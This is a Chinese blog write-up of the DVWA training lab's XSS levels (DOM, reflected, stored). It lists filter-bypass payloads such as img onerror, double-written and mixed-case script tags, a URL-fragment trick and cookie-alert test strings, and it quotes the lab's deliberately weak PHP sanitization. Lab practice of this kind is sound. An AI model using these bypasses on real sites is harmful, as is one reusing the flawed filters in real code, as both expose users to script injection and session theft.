当前位置: 首页 > java >正文

DVWA-XSS

DOM

low

这是一个下拉框的形式,但是如果我们不让他等于English呢,换成js代码呢?

<script>alert('xss');</script>

Medium

<script> 标签,但仅使用简单的字符串匹配进行替换(比如移除 "<script")。绕过 <script> 标签限制,使用 HTML 事件属性(如 onerror, onload

?default=English>/option></select><img src='#' onerror='alert(1)'>

High

开发者现在只允许白名单语言(如 English、French),不允许任意值传入

利用 URL 的 fragment 部分(即 # 后的内容),这部分不会被发送到服务器,因此无法被服务器端过滤。

?default=English#<script>alert(1)</script>

Reflected

low

<script>alert("css");</script>

Medium

当我们输入<script>alert("css");</script>,发现script标签不见了,我们可以试试双写。

<sc<script>ript>alert("css");</scrip</script>t>

我们查看一下源码,确实对标签进行了一个过滤。挺抽象的,居然只对这个<script>进行检查。

$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

那我们可以构造一个:

<sc<script>ript>alert("css");</script>

那其实这样子也有其他方法,比如大小写:

<sCrIPt>alert("x");</sCrIpT>

High

不用想,肯定比上一关过滤的更加严格,那我们除了alert还有什么,有的

<img src=# onerror=alert("xss")>

查看源码:可以看到不让你出现script标签,但是除了这个标签还有很多其他实用的。

 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

Stored

low

Medium

用这个好像都可以直接就过了(苦笑)。

<img src=# onerror=alert("xss")>

查看源码

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

首先trim()函数去除首尾空格,strip_tags()从字符串中去除HTML和PHP标记,其次addslashes()返回在预定义字符前添加反斜杠的字符串。预定义字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL (NUL),ysqli_real_escape_string()转义在 SQL 语句中使用的字符串中的特殊字符,<script>替换了这个标签。

我们看到,大多数是对result进行一个审核,我们还有一种方法就是把重心放在name上,因为对他的过滤比较少。

name=<sc<script>ript>alert("x");</script>
message=123

大小写其实也是很重要的一种思路:

name=<sCrIPT>alert("x");</sCrIPT>
message=123

High

思路: 利用HTML事件处理器来触发JavaScript代码,例如使用 <img src=x onerror=alert('XSS')>。这种方式不需要直接使用 <script> 标签就能执行JavaScript代码。

通过使用htmlspecialchars函数,解决了XSS,所以无法注入。通常有一些方式可以测试网站是否有正确处理特殊字符:><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src="http://xxx.com/yyy.png" onerror="alert('XSS')"><div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效) 

http://www.xdnf.cn/news/7856.html

相关文章:

  • 网络流量分析工具ntopng的安装与基本使用
  • Java接口P99含义解析
  • 【713. 乘积小于 K 的子数组】
  • 目标检测 RT-DETR(2023)详细解读
  • Python 包管理工具uv常用场景使用指南
  • 在线视频下载利器,支持100多平台下载
  • [Java实战]Spring Boot整合Prometheus:应用性能监控与可视化(三十二)
  • 高级学习算法(神经网络 决策树)
  • 基于 STM32 的 PC ARGB 风扇控制器设计与实现
  • k8s-NetworkPolicy
  • Android Handler/Looper线程管理实战攻略:从零到企业级开发
  • Android车载应用开发:Kotlin与Automotive OS深度实践
  • 【VLNs篇】02:NavGPT-在视觉与语言导航中使用大型语言模型进行显式推理
  • 初识GPU加速:如何利用GPU提升AI训练效率
  • 数据直观分析与可视化
  • 如何应对kaggle离线安装环境?
  • 工具环境与系统部署
  • SQL 多表关联与分组聚合:解密答题正确率分析
  • 项目交付标准不明确,如何确保验收顺利
  • HarmonyOS NEXT应用开发实战:玩鸿蒙App客户端开发
  • 网站制作公司哪家强?(2025最新版)
  • Go语言中new与make的深度解析
  • EasyRTC嵌入式音视频通信SDK一对一音视频通信,打造远程办公/医疗/教育等场景解决方案
  • 关于sql 查询性能优化的小经验
  • 【Vue3】一文学会动态路由和编程式路由的使用
  • 前端excel表格解析为json,并模仿excel显示
  • Flink 核心概念解析:流数据、并行处理与状态
  • Flink-Yarn运行模式
  • Java异常处理全解析:从基础到自定义
  • COMPUTEX 2025 | 广和通率先发布基于MediaTek T930 平台的5G模组FG390